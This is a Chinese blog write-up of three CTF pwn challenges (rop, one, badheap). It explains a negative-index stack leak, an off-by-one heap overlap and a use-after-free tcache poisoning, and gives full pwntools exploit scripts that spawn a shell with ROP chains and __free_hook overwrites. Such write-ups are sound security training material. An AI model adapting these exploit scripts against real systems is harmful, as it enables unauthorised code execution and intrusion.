打了下省赛 水一下博客 又是被带飞的一天

rop

image-20251108192149486

主要函数就是一个输出一个输入函数

image-20251108192216412

在输出函数中存在负数溢出 可以泄露出libc

image-20251108191541122

这里我们可以负数溢出 这里rbp指向的是dac0所以a1其实是在rbp-0x60也就是dac0-0x60即da60

我们可以在这里泄露一下libc 可以利用puts+378这一行 这里是9f8距离a1相差0x68

所以我们输入-13后即可泄露出这块的地址 然后减去对应于libc的差值即可求出libc基址

image-20251108193024592

那么同理这里输入也是可以改变栈的值 可以直接写rop a1此时是da60是位于rbp+0x10的位置,我们在这里写进bin_sh

后面再写进ret和system,然后输出把v2减回去 在rbp+0x8的地方写上rdi即可获得shell

刚开始看这题想着a1位置是rbp-0x60想着好像也没地方写,后面rbp的值也看错了 脑子真的是抽了wc

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import time
from pwn import *
from ctypes import *
#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
#p=remote('node4.anna.nssctf.cn',28324)
p=process('./pwn')
u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
elf=ELF('./pwn')
libc = ELF('./libc-2.31.so')
dir = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s))) #打印 要是libc就直接dir("libc")
def input(number):
p.sendlineafter('>>',str(1))
p.sendlineafter("input your number:",str(number))

def output(index):
p.sendlineafter('>>',str(2))
p.sendlineafter("index:",str(index))
p.recvuntil("number:\n")
return int(p.recvline(keepends=False))

input(0)
libc.address = output(-13) - 0x8459a
dir("libc.address")
pop_rdi = 0x00401563
ret = 0x0040101a
bin_sh = libc.search('/bin/sh').__next__()
system = libc.sym['system']

input(bin_sh)
input(ret)
input(system)
output(-13)
output(-13)
output(-13)
output(-13)
input(pop_rdi)



p.interactive()


one

image-20251108211436597

这道题就是道常规的堆了

image-20251108220846733

这里加1并且题目就叫one 直接就说明了是offbyone漏洞

没给libc我去看了第三题给的是2.35的结果发现这题的libc应该是2.27的也是搞了半天 结束后看了下学弟的wp是泄露libc然后确定的2.27还是太厉害了 2.27的话那其实就挺简单的进行堆块覆盖 然后泄露libc 然后泄露free为system 最后free一个binsh就行。这里就不多说了直接看exp就行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import time
from pwn import *
from ctypes import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote('45.40.247.139',17465)
p=process('./pwn')
u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
elf=ELF('./pwn')
dir = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
libc=ELF("./libc-2.27.so")

p.recvuntil(b"Let me know if u are not a rebot.")
t=p.recvuntil(b"?")[:-2]
num=eval(t)
p.sendline(str(num).encode())

def add(index,size,content):
p.sendlineafter('5.exit','1')
p.sendlineafter('the index of command?',str(index))
p.sendlineafter('the size of command?',str(size))
p.sendafter('the command?',content)

def delete(index):
p.sendlineafter('5.exit','2')
p.sendlineafter('which one?',str(index))

def show(index):
p.sendlineafter('5.exit','3')
p.sendlineafter('which one?',str(index))
def edit(index,content):
p.sendlineafter('5.exit','4')
p.sendlineafter('which one?',str(index))
p.sendafter('what to change?',content)

add(0,0x18,'a')
add(1,0x418,'a')
add(2,0x38,'a')
add(3,0x38,'a')
add(4,0x38,'a')
add(5,0x428,'a')
add(6,0x38,'a')

delete(1)
edit(0,b'a'*0x18 + p8(0xE1)) #这里覆盖了1234堆块
edit(4,b'a'*0x30 + p64(0x4E0)+p8(0x30)) #这里伪造了1234堆块被free
delete(5) #这里1234堆块和5堆块合并
add(7,0x418,'a') #这里就把1号堆块申请出来 然后2号堆块开头就存着unsortedbin地址
show(2)
p.recvline()
libc.address = u64(p.recv(6).ljust(8,b'\x00')) - 0x3ebca0 #获得libc基址
free_hook = libc.sym['__free_hook']
add(8,0x400,'a') #随便申请个大的 可以修改到3号堆块
delete(4)
delete(3)
edit(8,b'a' * 0x30 +p64(0) +p64(0x40) +p64(free_hook)) #修改3号堆块fd地址为free_hook 那么等会申请的4就是free_hook
add(3,0x30,'/bin/sh')
add(4,0x30,p64(libc.sym['system'])) #覆盖free_hook
delete(3)

p.interactive()

一般来说 有这种offbyone漏洞的话改一下堆块头大小,里面再多包含些小堆块就会有很多的操作空间来获取shell

badheap

image-20251118173532563

add函数限制了libc地址 所以打不了io

没置0 存在有uaf

首先先泄露下key 然后利用下unsortedbin泄露下libc 利用houseofbotcake也可以泄露 在我下一篇决赛里有写

然后申请大的堆块7覆写堆块8的fd指针指向要进行操作的地址

本题是2.35高版本的堆 又不能io 那么可以用environ泄露出栈地址 写rop链就可以了

所以先泄露栈地址

1
2
3
4
5
6
7
add(7, 0x120, b"\x00" * 0x108 + p64(0x111) + p64((libc.sym['environ'] - 0x10) ^ key))
add(8, 0x100, b"aaaa")
add(11, 0x100, b"a" * 0x10)
show(11)
ru(b"a" * 0x10)
stack = u64(rc(8)) - 0x148
VIO_TEXT(f"stack: {hex(stack)}")

image-20251118171218562

rbp距离environ中保留的栈地址相差0x148 这就泄露到了rbp

然后相同操作接着覆写8堆块fd为栈地址 然后写入shellcode

1
2
3
4
5
6
7
payload = flat(pop_rdi, binsh_addr, ret_addr, system_addr)
delete(1)
delete(8)
delete(7)
add(7, 0x120, b"\x00" * 0x108 + p64(0x111)+p64((stack) ^ key)) # write in ret_addr to fd
add(1,0x100,b"aaaa")
add(8,0x100,b'a'*8+payload)

前8个字节覆盖了rbp 后面就是shellcode

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106

from pwn import *
filename = "./pwn"
libc_name = "./libc.so.6"
arch = "amd64"
context(log_level="debug", os="linux", arch=arch)
def VIO_TEXT(x, code=95):
return log.info(f"\x1b[{code}m{x}\x1b[0m")
def CLEAR_TEXT(x, code=32):
return log.success(f"\x1b[{code}m{x}\x1b[0m")
io = process(filename)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains

def cmd(idx):
sla(b"choice:\n", str(idx).encode())

def add(idx, size, content):
cmd(1)
sla(b"idx:\n", str(idx).encode())
sla(b"size:\n", str(size).encode())
sa(b"content:\n", content)


def delete(idx):
cmd(2)
sla(b"idx:\n", str(idx).encode())


def show(idx):
cmd(3)
sla(b"idx:\n", str(idx).encode())


for i in range(10):
add(i, 0x100, b"a")

for i in range(7):
delete(i) # fill tcache 0-6

show(0)
key = u64(rc(8)) # leak heapbase key
VIO_TEXT(f"key: {hex(key)}")

delete(8)
delete(7) # 合并到unsorted bin
show(7) # unsorted bin leak libc
libc.address = u64(rc(8)) - 0x21ACE0
VIO_TEXT(f"libc.address: {hex(libc.address)}")

for i in range(6):
add(i, 0x100, b"aaaa") # fill tcache 6

add(7, 0x120, b"aaaa") # 7 but overlapping 8
add(10, 0xE0, b"aaaa") # 8 & 10

delete(0)
delete(8)
delete(7)

VIO_TEXT(f"libc.sym['environ']: {hex(libc.sym['environ'])}")

add(
7, 0x120, b"\x00" * 0x108 + p64(0x111) + p64((libc.sym['environ'] - 0x10) ^ key)
) # write in environ to fd,由于overlapping,实际写入到8中 tcache取head,-0x10

add(8, 0x100, b"aaaa")
add(11, 0x100, b"a" * 0x10)
show(11)
ru(b"a" * 0x10)
stack = u64(rc(8)) - 0x148
VIO_TEXT(f"stack: {hex(stack)}") # leak stack and get the ret_addr

system_addr = libc.sym['system']
ret_addr = libc.address + 0x29139
binsh_addr = next(libc.search(b"/bin/sh\x00"))
pop_rdi = libc.address + 0x2A3E5
payload = flat(pop_rdi, binsh_addr, ret_addr, system_addr)

delete(1) #avoid consolidation
delete(8)
delete(7)
#pause()
add(7, 0x120, b"\x00" * 0x108 + p64(0x111)+p64((stack) ^ key)) # write in ret_addr to fd

add(1,0x100,b"aaaa")
#pause()
add(8,0x100,b'a'*8+payload) # overwrite ret_addr with ROP chain
ia()

1
2
参考文章:
https://nan0in27.cn/p/2025%E6%B5%99%E6%B1%9F%E7%9C%81%E7%BD%91%E7%BB%9C%E4%B8%8E%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E9%A2%84%E8%B5%9Bpwn%E5%A4%8D%E7%9B%98/#pwn